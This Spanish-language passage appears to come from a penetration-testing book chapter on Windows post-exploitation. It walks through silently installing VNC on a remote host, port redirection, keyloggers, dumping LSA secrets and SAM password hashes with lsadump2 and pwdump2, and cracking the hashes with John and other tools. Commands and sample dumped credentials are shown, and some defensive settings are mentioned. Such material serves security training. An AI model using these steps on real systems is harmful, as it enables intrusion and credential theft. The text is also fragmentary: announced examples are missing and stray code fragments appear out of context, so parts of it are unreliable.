C:\>regini –m \\192.168.0.5 winvnc.ini
4. De la línea de comandos de sistema remoto, instale el servicio winvnc.
Remoto C:\>winvnc –install
5. Inicie el servicio:
Remoto C:\>net start winvnc
6. Desde su sistema, inicie la aplicación vncviewer que viene con la distribución y señala
a su destino, 192.168.0.5:0 (el 0 es para el despliegue). Escriba la contraseña secret y
debe tener control de GUI completo, como si estuviera sentado ante la máquina física.
Si desea usar la versión de Java de la GUI, puede conectarse con su explorador al
puerto 5800:
http://192.168.0.5:5800
Redireccionamiento de puerto
Popularidad: 6
Simplicidad: 8
Impacto: 9
Clasificación de riesgo: 8
Hemos analizado varias técnicas utilizadas para obtener control interactivo remoto de un
sistema de Windows. Sin embargo todas se han basado en el requisito previo de las conexiones
directas. En muchos casos, simplemente no es posible tener una conexión directa en un sistema,
y debe idearse un método más indirecto. Éste es el trabajo de los redirectores de puerto.
Una vez que un atacante compromete un destino, puede usar las herramientas de redireccio-
namiento de puertos para reenviar paquetes a un destino específico más allá de una firewall.
Básicamente, esa técnica convierte una firewall en un tope de puerta. En esencia, los redirectores
de puertos mueven las actividades de un puerto a otro. Un buen ejemplo de esto es cuando una
firewall permite todos los puertos arriba de 1024 en la red de destino, pero bloquea a los puertos
del sistema de Windows 139 y 445 (los que el atacante realmente quiere). Así que una vez que ya
está comprometido un sistema detrás de la firewall con una explotación Web o un error de Sola-
ris, el atacante puede configurar un redirector de puerto para redireccionar el tráfico de un puer-
to, digamos el 2000, al puerto real que quiere, digamos el 139:
Este tipo de ataque permite a un atacante tener acceso a cualquier sistema detrás de una fire-
wall.
Uno de nuestros redirectores de puertos favoritos para los sistemas Windows es fpipe, un
redirector TCP de Foundstone, Inc. El programa funciona de manera muy parecida a los tradi-
cionales redirectores de puertos con una diferencia importante: el atacante puede especificar una
dirección de puerto de origen. El hecho de establecerla le permite al atacante definir estática-
mente el puerto de origen en algo que permita la firewall entre el atacante y su destino. Por ejem-
plo, el atacante puede encontrar una firewall que permita el tráfico si el puerto de origen es el
TPC 20. Eso puede ser una mala configuración de firewall común, porque el puerto TCP 20 se
requiere para que funcione el tráfico FTP saliente. Además, en varias versiones anteriores a Vis-
ta, la implementación de Windows IPSec permite el tráfico con un puerto de origen de TCP/
UDP 88, además de todo el tráfico de transmisión que pase a los filtros IPSec, como opción pre-
determinada (consulte el artículo 810207 de la base de conocimientos de Microsoft). Fpipe puede
usarse para ataques de origen a sistemas protegidos por IPSec si no se ha cambiado esta confi-
guración predeterminada.
Uno de los siguientes pasos que un atacante tomará una vez que se obtenga acceso adminis-
trativo consiste en minar el sistema para obtener datos confidenciales que pudieran llevar a ma-
yor compromiso. Pueden usarse numerosas técnicas para minar estos datos:
• Búsqueda de archivos
• Registro de tecleos
• Pantallas de inicio de sesión con caballos de Troya
• Olfateo de paquetes
Cada una de ellas se analiza en las siguientes secciones.
Búsqueda de archivos
Con una shell de comandos de Windows, un atacante usará las herramientas nativas del sistema
operativo o subirá las propias. Entre las herramientas nativas de Windows que se prestan para
usos nefastos se incluyen dir,find y findstr.
Los comandos dir y find son muy primitivos en relación con findstr, que compite con
la legendaria utilería de UNIX grep. Su belleza está en la versatilidad. Por ejemplo, el programa
puede revisar el principio (/B) o el final (/E) de la línea sólo en busca de la cadena. Con frecuen-
cia la usamos para su característica de búsqueda de subdirectorios (/S). En el siguiente ejemplo,
usamos findstr para revisar todas las hoja de cálculo de Excel (.xls) de la unidad C: para bus-
car la palabra nómina:
Por último, varios comercializadores hacen versiones gratuitas para Windows de herramien-
tas populares de UNIX como grep, sed, awk y otras. Varias de esas herramientas se incluyen en
el kit de recursos de Windows, incluida grep.exe. Además, comercializadores de software como
Mortice Kern Systems, Inc. (MKS) y Cygwin ofrecen herramientas de UNIX portadas a la plata-
forma de Windows. Cualquier profesional de seguridad serio que trabaje en Windows debe te-
ner esas herramientas en su kit.
Para usar grep en un sistema remoto, sólo cargue el archivo al directorio de su elección y es-
criba lo siguiente:
Esto buscará en todos los archivos del directorio actual la palabra contraseña.
Registro de tecleos
Si ninguno de los pasos anteriores lleva a alguna información jugosa, o ninguno puede utilizar-
se como apoyo para obtener acceso más profundo en la red, un atacante tratará de poner un re-
gistrador de tecleos en el sistema que olfatee las contraseñas del teclado. La premisa es simple:
tarde o temprano alguien del sistema afectado iniciará una sesión en otro sistema u otro dominio
de Windows, y el registrador de tecleos capturará las credenciales de usuario.
Los registradores de tecleos suelen ser muy sigilosos porque casi siempre se ubican entre el
hardware del teclado y el sistema operativo, en un nivel de kernel, registrando cada tecleo. Hoy
en día existen numerosos registradores de tecleos de Windows. Uno que hemos usado con fre-
cuencia es Invisible Keylogger Stealth (IKS) (consulte “Referencias y lecturas adicionales”). Este
producto se instala como un controlador de dispositivo de bajo nivel, de modo que siempre se
está ejecutando y puede capturar aun la secuencia ctrl+alt+supr y las contraseñas para inicio
de sesión en el propio sistema.
Además, IKS está construido para instalación remota (las instrucciones se encuentran en el
archivo readme). La única desventaja es que el sistema de registro de tecleos puede reiniciarse
antes de que el controlador del dispositivo pueda empezar a olfatear los tecleos. Por supuesto,
esto puede hacerse muy fácilmente suponiendo que se ha implementado uno de los mecanismos
de control remoto interactivos analizados antes en este capítulo. Existen numerosos registrado-
res de tecleo; todos ellos usan diferentes métodos para obtener información capturada para el
atacante (algunos ejemplos incluyen archivos de texto cifrados locales, canales de comunicación
a través de SMTP y HTTP). Una vez más, son válidos los “beneficios” del uso del texto cifrado y
oscurecido en comparación con el texto simple para proteger los datos.
HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order
Olfateo de paquetes
“Olfatear” paquetes de la red durante la autentificación normal es una de las maneras más efec-
tivas de obtener nombres de usuario y contraseñas. Esto es posible porque muchos protocolos
de red comunes (como telnet y FTP) no implementan cifrado y, por tanto, pasan credenciales en
la red en texto simple.
Tal vez una de las herramientas comerciales más populares para el análisis general de pa-
quetes es el Sniffer Pro, de prueba y error, de Network Associates, Inc. (ahora Network General).
La primera versión de línea de comandos ha sido la base de muchos kits de herramientas de
administradores de red, y su producto de Windows extendió rápidamente su dominio. Un ana-
lizador de paquetes de línea de comandos de Windows muy popular es la herramienta gratuita
Snort.
Por lo general, los hackers usan varias utilerías a fin de escuchar nombres de usuario y con-
traseñas en el tráfico de red, y para extraerlos de él. La aplicación de dsniff original la escribió
Dug Song para UNIX. Dsniff es uno de los motores de captura de paquetes mejor escritos de que
se dispone. Analiza automáticamente diversas aplicaciones y recupera sólo el nombre de usua-
rio y las contraseñas de cada una. El puerto inicial Win32 de dsniff lo escribió Mike Davis. El
puerto Win32 no incluye muchas de las utilerías encontradas en la versión de UNIX, como ar-
predirect, pero realiza las funciones necesarias para olfatear contraseñas.
EXTRACCIÓN DE CONTRASEÑAS
Una vez que se obtiene acceso de administrador, el atacante por lo general tratará de hurtar con-
traseñas adicionales de su sistema. Al recolectar contraseñas, está recolectando de manera efec-
tiva llaves de varias puertas dentro del entorno Windows. Una nueva contraseña ofrece posible
acceso a otro componente del sistema, como la base de datos SQL, el archivo de nómina de Ex-
cel, el directorio de administradores Web y otros componentes identificados durante el minado
de datos.
Además, esas contraseñas pueden usarse para obtener acceso a otros sistemas y entornos de
la red, incluidos dominios de Windows, instancia de SQL Server, servidores de colaboración
de Microsoft Office (Exchange, SharePoint, etc.) puertas de enlace SNA, interfaces de adminis-
tración de aplicaciones Web y otros destinos jugosos. Si, por ejemplo, un atacante tiene la posi-
bilidad de lograr acceso administrativo a un cliente de escritorio de Windows XP e identifica un
servicio local que se ejecuta en el contexto de un usuario de dominio privilegiado, podría tener
la capacidad de extraer las credenciales incluidas de la caché local, lo que llevaría al compromiso
de todo el dominio de Windows. En nuestra experiencia de prueba profesionales de penetracio-
nes, ésta es la línea de investigación más lucrativa para atacantes maliciosos, porque el reciclaje
de contraseña suele estar muy extendido en los entornos distribuidos grandes, gracias a la inca-
pacidad básica humana para recordar más allá de cinco o seis contraseñas complejas a la vez.
Pueden usarse varios métodos para almacenar contraseñas en el sistema. Revisaremos cada
lugar en que esas contraseñas se almacenan y los mecanismos usados para obtenerlas.
Volcado de LSA
Popularidad: 9
Simplicidad: 9
Impacto: 9
Clasificación de riesgo: 9
Paul Ashton publicó la idea original para la explotación de LSA Secrets en la lista de correos
NT Bugtraq en 1997. Una herramienta basada en este concepto la escribió el Razor Team y está
disponible en línea: se le denomina lsadump2 y está disponible en www.bindview.com/servi-
ces/razor/utilities/. Lsadump2 usa la misma técnica que pwdump2 para inyectar sus propias
llamadas a función DLL bajo el privilegio del proceso del servicio de subsistema de autoridad de
seguridad local (LSASS, Local Security Authority Subsystem Service). Otra herramienta que
puede volcar la misma información es Cain & Abel.
A continuación se encuentra la metodología típica empleada por un atacante.
C:\>lsadump2
…
D6318AF1-462A-48C7-B6D9-ABB7CCD7975E-SRV
39 FD 26 E5 03 4C 89 47 89 0C AE 60 37 DD FE 15 9.&..L.G...`7...
DPAPI_SYSTEM
01 00 00 00 ED 83 60 9F CB 9D 0A EE FB F8 08 6A ......`........j
70 35 AE 66 51 A6 1A EB D7 64 4D B3 4D CB 4E 98 p5.fQ....dM.M.N.
C8 E4 9C DE 72 79 7D C9 6D 4E 10 E5 ....ry}.mN..
L$BETA3TIMEBOMB_1320153D-8DA3-4e8e-B27B-0D888223A588
00 80 85 26 6A 9A C3 01 ...&j...
_SC_MSSQLServer
32 00 6D 00 71 00 30 00 71 00 71 00 31 00 61 00 2.h.a.p.p.y.4.m.
_SC_SQLServerAgent
32 00 6D 00 71 00 30 00 71 00 71 00 31 00 61 00 2.h.a.p.p.y.4.m.
Al final de este listado hay dos cuentas de servicios de SQL y sus contraseñas relacionadas. Un
atacante puede usar esta contraseña, 2happy4m, para obtener acceso extendido a la red y sus re-
cursos.
Versiones más antiguas de lsadump2 requerían que primero identificara el ID del proceso LSASS.
NOTA
Esto ya no es necesario en la versión actualizada, que realiza automáticamente esta función.
MEM_COMMIT, PAGE_READWRITE);
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Un vínculo con más cambios se publicó en listas de correos en 2005, y el vínculo a la pu-
blicación Full-Disclosure se incluyó en “Referencias y lecturas adicionales”, al final de este capí-
tulo. Lsadump2 también puede modificarse para que funcione en Windows Vista y Windows
2008, y los cambios al código suelen ser los mismos que los descritos en pwdump2, un poco más
adelante en este capítulo (consulte “Volcado de contraseñas de SAM y AD”).
Otra área de interés son las contraseñas de dominio incluidas en caché. Como opción prede-
terminada, Windows almacena en caché a los últimos 10 usuarios que han iniciado sesión inter-
activamente. En Windows Server 2008, el valor predeterminado de inicios de sesión almacenados
(al momento de escribir esto) era de 25. El almacenamiento se realiza al desordenar el hash de la
credencial, lo que significa que es posible el descubrimiento, pero más lento de lo que sería a
partir de hashes de contraseñas obtenidos de otra manera. La inclusión en caché de los inicios de
sesión es necesaria porque cuando la máquina no está conectada a la red, como cuando el usua-
rio está viajando o cuando la máquina no puede resolver servidores de autentificación, el acceso
al verificador debe estar disponible para que los administradores o los técnicos otorguen inicio
de sesión al equipo para mantenimiento. Una de las primeras herramientas públicas para des-
cubrir contraseñas de dominio en caché fue CacheDump, que puede encontrarse en Internet.
Puede depender de herramientas como Cain & Abel u otras que hacen lo mismo.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Entre las aplicaciones que usan el servicio Almacenamiento protegido, se incluyen ciertas
versiones de Outlook, Outlook Express, MSN Explorer e Internet Explorer versiones 4 a 6. A par-
tir de IE 7, los datos confidenciales usan, en cambio, la API Protección de datos.
Protected Storage PassView de NirSoft es una herramienta capaz de extraer datos del Alma-
cenamiento protegido del usuario que está iniciando sesión, como se muestra en la figura 7-1.
Figura 7-1 PassView de NirSoft extrae datos del almacenamiento protegido del usuario que inició
sesión
El DPAPI puede utilizarse para proteger datos en memoria y también fuera de línea. Las fun-
ciones usadas para cifrar datos son CryptProtectData y CryptProtectMemory. Las funcio-
nes de descripción correspondientes son CryptUnprotectData y CryptUnprotectMemory.
El cifrado de datos puede ser de todo el sistema o del usuario específico, lo que significa que
todos los usuarios de un sistema específico pueden descifrar los datos o sólo el usuario específi-
co que los cifró. Cuando cifra los datos para un usuario específico, DPAPI utiliza la contraseña
con que el usuario inició la sesión para asociar el cifrado con un usuario específico. El usuario
nunca observa esto porque el sistema usa transparentemente la contraseña. Una aplicación que
llama a las funciones de cifrado de la DPAPI envía datos en texto simple a DPAPI y, a cambio,
recibe un BLOB de datos protegidos. El descifrado se hace a la inversa, al pasar el BLOB de datos
a la función de descifrado y recibir, a cambio, los datos en texto simple.
Sin embargo, el uso de la contraseña del usuario que inició sesión no es suficiente para
proteger los datos de otros procesos que se ejecutan en el mismo contexto de usuario. Las fun-
ciones de DPAPI también aceptan una frase de contraseña adicional o entropía, que se requerirá
para descifrar con éxito los datos. Ejemplos de aplicaciones que usan la DPAPI para almace-
nar de manera segura los datos confidenciales son el cliente de conexión remota de escritorio
e IE 7.
Figura 7-3 Network Password Recovery extrae datos del administrador de credenciales
La directiva de seguridad local que establece Almacenar contraseñas usando cifrado rever-
sible (en la sección Directiva de contraseñas de Directivas de cuenta) sólo es aplicable a contro-
ladores de dominio de Active Directory (AD). Como opción predeterminada, esta configuración
está deshabilitada, lo que significa que las contraseñas no están almacenadas con cifrado rever-
sible (lo que es algo bueno). Sin embargo, si alguien habilita esta configuración, provocará que
todas las nuevas contraseñas se almacenen en SAM/AD (Security Accounts Manager/AD, ad-
ministrador de cuentas de seguridad/AD) en su forma de hash como es normal, y también en un
formato aparte, con cifrado reversible. A diferencia de los hashes de una vía, este formato sólo puede
revertirse a una contraseña en texto simple si se conoce la clave de cifrado.
¿Por qué alguien querría habilitar esto? Resulta que ciertos protocolos y servicios de auten-
tificación remota, como MSChap v1, Digest Authentication, AppleTalk Remote Access y los ser-
vicios de autentificación de Internet (IAS, Internet Authentication Services, que es en esencia
RADIUS) requieren esta configuración. Así que si un atacante compromete un controlador de
dominio, de inmediato revisará esta configuración; si está habilitada, ¡ejecutará una herramienta
para volcar las contraseñas en texto simple de cada uno de los miembros del dominio! En la ac-
tualidad, no existen herramientas disponibles públicamente para realizar esta tarea, pero debe
ser simple construirla empleando API documentadas en forma amplia.
Volcar contraseñas del Registro puede ser un ejercicio trivial. Por supuesto, con Windows
2003, la tarea no es completamente trivial, porque el sistema usa la función syskey para aplicar
cifrado sólido a la base de datos de SAM o AD. Esto significa que los nombres de usuario y las
contraseñas del sistema están cifradas con cifrado de 128 bits, lo que hace casi imposible descu-
brirlos. Pero aún es posible obtener esos hashes cifrados mediante el uso de la herramienta
pwdump2 modificada por Todd Sabin. (Consulte “Referencias y lecturas adicionales”). Otra
adición consiste en parchar estas herramientas para que acepten historia de volcado de contra-
señas de los usuarios, lo que también puede aumentar la probabilidad de más acceso en la red,
porque los usuarios tienden a reciclar contraseñas.
La técnica genérica utilizada para obtener los hashes es la misma en todas las versiones del
sistema operativo Windows. Varias herramientas usan diferentes vectores para lograr lo mismo.
Pwdump2 usa una técnica llamada inyección de biblioteca dinámica de vínculos (DLL, Dynamic
Link Library). En esta técnica un proceso fuerza a otro a cargar una DLL adicional y luego ejecuta
código dentro de la DLL en el otro espacio de direcciones y el contexto del usuario del proceso.
Para usar pwdump2, simplemente copie los dos archivos (pwdump2.exe y samdump.dll) en
el sistema remoto, y luego ejecute el comando pwdump2 de manera interactiva en el sistema re-
moto:
Remoto C:\>pwdump2
Administrador:500:a962ae9062945822aad3b435b51404ee:ef830b06fc94947d66
8d47abf388d388:::
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c
089c0:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:28f30eb0bcce2
3b95c5b1c23c771959f:::
This program is free software based on pwpump2 by Todd Sabin under the GNU
General Public License Version 2 (GNU GPL), you can redistribute it and/or
modify it under the terms of the GNU GPL, as published by the Free Software
Foundation. NO WARRANTY, EXPRESSED OR IMPLIED, IS GRANTED WITH THIS
PROGRAM. Please see the COPYING file included with this program (also
available at www.ebiz-tech.com/pwdump3) and the GNU GPL for further details.
Administrator:500:A962AE9062945822AAD3B435B51404EE:EF830B06FC94947D6
68D47ABF388D388:::
Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
SUPPORT_388945a0:1001:NO PASSWORD*********************:28F30EB0BCCE23B95C
5B1C2
3C771959F:::
Completed.
modificadas que pueden extraer los hashes de contraseñas en Windows Vista. (Consulte “Refe-
rencias y lecturas adicionales” para conocer vínculos con otras versiones de esta herramienta).
DESCUBRIMIENTO DE CONTRASEÑAS
Después de que se han obtenido las contraseñas cifradas, o hashes, del sistema remoto, por lo
general el atacante las moverá a un archivo y ejecutará el descubridor de contraseñas con-
tra ellas para conocer la contraseña real.
Muchos tienen la impresión equivocada de que el descubrimiento de contraseñas es el des-
cifrado de los hashes de éstas. Sin embargo, no es así, porque existen mecanismos conocidos
para descifrar hashes de contraseñas empleando los algoritmos de Windows. El descubrimiento
es en realidad el proceso de aplicar hash a palabras y frases conocidas utilizando el mismo al-
goritmo y luego comparar el hash resultante con los hashes volcados empleando pwdumpX o
alguna otra herramienta. Si coinciden, el atacante sabe cuál debe ser el valor de texto simple de
la contraseña. Por tanto, el descubrimiento debe verse como un tipo de adivinación sofisticada
de contraseñas fuera de línea.
Descubrimiento de hashes de LM
El proceso de descubrimiento puede optimizarse en gran medida debido a una de las fallas cla-
ve de diseño de Windows, el hash del LAN Manager (LM). Como se analizó en el capítulo 2,
ciertas versiones de Windows almacenan como opción predeterminada dos versiones de hash
de la contraseña de cuenta del usuario.
Dos métodos factibles pueden usarse para atacar hashes de LM. El primero es muy simple y
consiste en generar todos los pares posibles de contraseña/hash y compararlos con la selección
de hashes de destino (esto es un ataque de fuerza bruta). Pueden usarse muchos programas dis-
ponibles en Internet para realizar esta tarea, aunque el rendimiento varía mucho. En la siguiente
lista se presentan resultados de pruebas comparativas de rendimiento en una laptop Intel G40
(CPU de 3 GHz, 1 GB de RAM) con Windows 2000 empleando lmbf v0.1 (disponible en www.
toolcrypt.org), jtr v1.7.0.1, Cain & Abel v4.9 y LCP v5.0.4 parecido a L0phtcrack:
El rendimiento cae ligeramente para varios hashes, pero como no tienen sal (un número aleato-
rio agregado a la clave de cifrado o a la contraseña para protegerla del descubrimiento), pueden
descubrirse de manera efectiva en paralelo.
Un pequeño cálculo muestra que tomaría aproximadamente 15 días (697 ÷ (5.7 × 106 × 3600
× 24)) para descubrir todo posible hash de LM utilizando lmbf en una laptop estándar. Debido a
que lmbf no permite el uso de conjuntos de caracteres distintos (funciona sólo en el conjunto de
caracteres máximo) usaríamos jtr para los otros casos: para descubrir todos los hashes basados
en contraseñas que sólo utilizan de la A a la Z tomaría 27 minutos y todos los hashes basados en
la A a la Z + 0 a 9 tomaría 4 horas y 20 minutos.
La otra manera factible de descubrir hashes de LM consiste en usar tablas de arco iris. El mé-
todo de las tablas de arco iris se usa para calcular todos los hashes que resultan de contraseñas
con ciertas restricciones (hasta siete caracteres de largo, utilizando de la A a la Z, etc.). Estos has-
hes se almacenan entonces para que sólo una fracción de los hashes reales tengan que estar pre-
sentes en disco. Este método es factible porque el espacio de claves no se ha extendido mediante
el uso de sal criptográfica. Suponiendo que tiene el tiempo disponible para crear las tablas de
arco iris inicialmente, y que tiene el espacio en disco para almacenarlas, puede descubrir cual-
quier contraseña de LM en un minuto o dos.
A continuación se presentan algunas tablas de arco iris populares generadas por Rainbow-
Crack (consulte “Referencias y lecturas adicionales”).
Estas cifras deben dejar en claro que un atacante que ha obtenido sus hashes de LM también po-
drá deducir las contraseñas correspondientes, sin importar su complejidad, siempre y cuando
contengas caracteres ASCII imprimibles.
A continuación, cubrimos algunas herramientas que automatizan en gran medida el ciclo de
comparación de hashes, sobre todo contra el hash de LM, al punto de que ninguna contraseña
mal elegida podrá resistir demasiado.
Como opción predeterminada, John realiza ataques de diccionario y usa alguna inteligencia
sobre la manera en que realiza los intentos de descubrimiento, incluida la anexión, al principio
o al final, de metacaracteres, el uso del nombre de usuario como contraseña y la prueba de va-
riaciones del nombre de usuario, para mencionar algunas. John también puede usarse para
cuentas de fuerza bruta mediante el empleo del modo –i. El modo de incremento usa el conjun-
to completo de caracteres para probar todas las combinaciones de caracteres posibles para la
contraseña. Ésta es, por mucho, la parte más poderosa de John y después es el que más tarda en
ejecutarse. Están disponibles tres modos principales de uso de John: listas de palabras, un solo
descubrimiento e incremental.
Modo de lista de palabras El más simple de los modos para descubrimiento, el modo de lista de
palabras toma el archivo de diccionario dado en la línea de comandos, o usa el archivo de con-
traseñas predeterminado incluido con John, si no se proporciona una opción, y prueba cada
contraseña en orden secuencial.
Modo de un solo descubrimiento En este modo se probará la información de inicio de sesión para
adivinar la contraseña. Por ejemplo, el nombre de usuario en una cuenta se probará como con-
traseña en todas las cuentas. En el siguiente ejemplo, el nombre de usuario STU se probó con
éxito como contraseña de JACK:
C:\>john -single hashes.txt
Loaded 20 passwords with no different salts (NT LM DES [24/32 4K])
STU (jack:1)
Modo incremental Éste es, por supuesto, el más poderoso de los modos de descubrimiento de
John, porque prueba todas las combinaciones de caracteres para la longitud de contraseña dada.
Las contraseñas que utilizan caracteres complicados pero son cortas pueden descubrirse fácil-
mente con este modo. Por supuesto, debido a su naturaleza muy completa en que prueba cada
carácter en el espacio de caracteres, el tiempo para el descubrimiento en este modo será largo.
He aquí un ejemplo, porque se descubre que STU tiene una contraseña APQL, que casi segu-
ramente nunca se hubiera encontrado con un ataque de diccionario estándar. El modo incremen-
tal de alpha se usó para limitar la búsqueda a caracteres alfa, pero sin ningún modo, John usa
la opción predeterminada, que incorpora todos los modos incrementales incluidas todas las va-
riaciones de conjuntos de caracteres:
John es una poderosa utilería de descubrimiento de contraseñas y puede usarse por ejemplo
con Windows NT/2000/2003/2008 y con UNIX. La única limitación con el puerto de la versión
para Windows de John, si puede llamarse así, es que no tiene soporte nativo para el hash de
NTLM. Esto significa que todas las contraseñas recuperadas con John serán insensibles a ma-
yúsculas y minúsculas. Como puede ver con el ejemplo anterior, STU tiene una contraseña de
APQL, pero no sabemos si está realmente sólo en mayúsculas o no, de modo que necesitará
probar todas las variaciones de caracteres en mayúsculas y minúsculas para determinar la con-
traseña real.
Lmbf también puede usarse para descubrir hashes de LM. He aquí un ejemplo:
El soporte para el hash de OWF de Windows NT se ha agregado a las versiones de UNIX y Win32
NOTA
de John. Encontrará un vínculo al complemento en “Referencias y lecturas adicionales”.
F:\tools\john-1.6-ntlm>type hashes.txt
public:1005:8c07e18e18192979aad3b435b51404ee:8a88495ddc9b55322158153195c10638:::
F:\tools\john-1.6-ntlm>john -format=NTLM -incremental hashes.txt
Loaded 1 password (NTLM MD4 [TridgeMD4])
findme (public)
guesses: 1 time: 0:00:01:24 c/s: 758939 trying: findme
Descubrimiento de hashes de NT
El hash de NT se crea a partir de contraseñas que son sensibles a mayúsculas y minúsculas. No
existe restricción de longitud, aunque el límite práctico es de 128 caracteres en Windows
NT/2000/XP/Vista. Esto significa que el espacio de todos los posibles hashes de NT es enorme.
Nadie podría incluso empezar a explorarlo por completo. Sin embargo, una contraseña mal
elegida seguirá siendo débil, sin importar cuál mecanismo de hash se use para protegerla. Si ha-
cemos la suposición de que la contraseña es cuando mucho de siete caracteres, llegamos a las
siguientes posibilidades de hashes.
Cada carácter adicional a los 7 hará la contraseña 26, 36, 52, 62 o 95 veces más difíciles de descu-
brir, dependiendo del conjunto de caracteres utilizado. Esto significa que todas las contraseñas
de longitud 8 (utilizando todos los imprimibles), en lugar de 7 caracteres, será casi 100 veces más
difícil de descubrir.
Debido a que los hashes de NT no usan sal criptográfica, los métodos para atacarlos son los
mismos que los usados por los hashes de LM. Están disponibles muchas aplicaciones de fuerza
bruta, que difieren ampliamente en velocidad y uso. A continuación se delinea una selección.
Las marcas comparativas se obtuvieron con el mismo equipo configurado para los hashes de LM
y utilizando ntbf v0.6.6, jtr v1.6 con parche de NTLM, Cain & Abel v4.9, LCP v5.0.4 y MDCrack
v1.8(3):
El rendimiento cae ligeramente para varios hashes, pero como no se usa sal, pueden realmente
descubrirse en paralelo.
Algunos cálculos sencillos muestran que nos tomaría un máximo de 117 días descubrir el
hash de NT más complejo generado a partir de una contraseña de siete caracteres de largo que
utiliza caracteres imprimibles y usando MDCrack en una sola laptop. Tomaría un máximo de 5.9
días para un hash generado a partir de una contraseña de siete caracteres empleando A a Z +
a a z + 0 a 9.
Si es obligatorio que descubra el hash de una contraseña de NTLM, una sólida opción es
MDCrack de Gregory Duchemin. El producto es muy simple en su puerto de Windows, pero
funciona bien. Sólo tenga cuidado de que no use todos los ciclos de CPU de su sistema, porque
tiende a establecer en Elevada la prioridad de sus procesos. Como resultado, debe cambiar la
prioridad a Normal una vez que inicie.
El uso de MDCrack es un poco diferente del de LCP (que presentaremos más adelante), por-
que toma el hash de la línea de comandos:
Como puede ver, la utilería MDCrack descubrió el hash de NTLM, mostrando la contraseña
crackme.
En este ejemplo se usa ntbf (consulte “Referencias y lecturas adicionales”) de la línea de co-
mandos:
F:\tools>type pwds.txt
public:crackme
Si quiere la facilidad de señalar y hacer clic para sus actividades de descubrimiento de con-
traseñas, a costa del rendimiento y, bueno, el precio, revise LCP de lcpsoft. L0phtcrack ha sido
desde hace mucho tiempo el descubridor de contraseñas para NT más reconocido. Y aunque en
la cuarta edición no se agregaron muchas nuevas características sobre la versión anterior (carac-
terísticas de auditoría y recuperación), probablemente sigue siendo una opción popular para
quienes aún la tienen, debido a la GUI fácil de usar y a la característica de captura de SMB que
puede cosechar respuestas de LM de la red (ahora es funcional bajo Windows 2000/2003). La
quinta versión también trajo el uso de tablas de arco iris.
Debido a que Symantec decidió terminar la vida de L0phtcrack después de su quinta encar-
nación, ahora los usuarios están obligados a buscar opciones, como LCP y Cain & Abel. LCP es
fácil de usar y soporta aún más opciones que LC5. Consulte http://www.lcpsoft.com/english/
comparison.html.
Es posible configurar tres parámetros para una sesión de descubrimiento de contraseñas de
LCP: Dictionary Crack, Dictionary/Brute Hybrid Crack y Brute Force Crack.
En las figuras 7-4, 7-5 y 7-6 se muestran varios programas que pueden utilizarse para descu-
brir hashes.
Sin embargo, un ataque remoto de adivinación de contraseñas por lo general será más
difícil contra una contraseña de ocho caracteres que contra una de siete, por un factor de
128, suponiendo que se está usando la mitad del conjunto de caracteres ASCII de 8 bits.
Puede considerar el uso de la longitud más larga de contraseñas en su directiva, si hay el
riesgo real de una adivinación de contraseñas en su entorno. (Consulte el capítulo 5 para
conocer un análisis de la adivinación remota de contraseñas).
Además, recuerde que puede deshabilitar el almacenamiento del hash de LM al crear una
clave llamada HKLM\SYSTEM\CurrentControlSet\Control\Lsa\NoLmHash.
NOTA Esta opción tiene soporte en Windows XP y Windows Server 2003 bajo Directiva de seguridad/
Opciones de seguridad/Seguridad de red: no almacenar valor de hash de LAN Manager en el
próximo cambio de contraseña.
4. Por último, reinicie su sistema. Por supuesto, esta clave de Registro no tiene soporte
y puede hacer que ciertas aplicaciones dejen de funcionar, de modo que debe
considerarse con todo cuidado su uso y emplearse sólo en sistemas de prueba y nunca
en equipos utilizados en producción.
Para deshabilitar el uso del hash de LM en autentificación de red, use la clave del Registro
LMCompatibility o la configuración de Directiva de seguridad de nivel de autentificación
de LM, como se analizó en el capítulo 5.
Debido a que los hashes derivados del volcado de programas son el equivalente de contra-
señas, ¿por qué no podría pasarse el hash directamente al sistema operativo cliente, el que, a su
vez, lo usaría en una respuesta normal a un desafío de inicio de sesión? Luego, los atacantes po-
drían iniciar sesión en un servidor sin saber una contraseña viable y con sólo un nombre de
usuario y el valor de hash de la contraseña correspondiente. Esto ahorraría una gran cantidad
del tiempo dedicado en realidad a descubrir los hashes de contraseñas obtenidos mediante cap-
tura de SMB. En 1997, Paul Ashton publicó la idea de modificar un cliente de intercambio de
archivos SMB de Samba en UNIX para realizar este truco. Su publicación original está disponi-
ble en los archivos de la lista de correos Bugtraq de NT y en SecurityFocus.com. Versiones re-
cientes del smbclient de Samba para UNIX incluyen la capacidad de iniciar sesión en clientes de
NT utilizando sólo el hash de la contraseña.
En 2000, Hernán Ochoa, de CORE-SDI escribió y publicó un artículo analizando los detalles
técnicos del paso del hash que delineaba la manera en que LSASS almacena las sesiones de inicio
de sesión y sus credenciales relacionadas (consulte “Referencias y lecturas adicionales”). En el
artículo de Hernán se detalla la manera de editar estos valores directamente en memoria para
que las credenciales del usuario actual puedan cambiarse y cualquier usuario se personifique
si este hash está disponible. CORE desarrolló un programa de prueba de concepto que realizó
con esta técnica en NT 4, pero su implementación violaba la integridad de LSASS en Windows
2000/2003 y causaba que el sistema se apagara en cosa de segundos.
Herramientas existentes para realizar el paso de hash hacen el trabajo sin errores en todas las
versiones de NT 4, Windows 2000, Windows XP, Windows Vista y Windows 2008, sin violar la
integridad del proceso LSASS. Casi todas estas herramientas se han manejado de manera confi-
dencial y no se han lanzado al público. Al momento de escribir esto, Hernán Ochoa ha lanzado
un kit de herramientas de paso de hash que funciona en versiones más recientes de Windows. El
kit de herramientas está limitado a ciertas versiones del sistema operativo, pero se encuentra
bajo desarrollo activo (consulte “Referencias y lecturas adicionales”).
Los ataques de paso de hash dependen de la funcionalidad integrada para Single-SignOn
que puede encontrarse en protocolos de autentificación como Kerberos y NTLM. Para que el sis-
tema operativo autentifique silenciosamente a un usuario, es necesario que el sistema tenga al-
gún tipo de caché para la credencial asignada al usuario que solicitó un recurso protegido. Al
reemplazar las credenciales del usuario en esta caché con un hash de contraseña elegido o un
boleto, la autentificación se hará utilizando el nuevo “secreto” en lugar del original.
Además, vale la pena tomar nota de que la funcionalidad Single-SignOn está conectada a su
sesión de inicio de sesión. Los atacantes pueden reciclar las sesiones inactivas, sin que conozcan
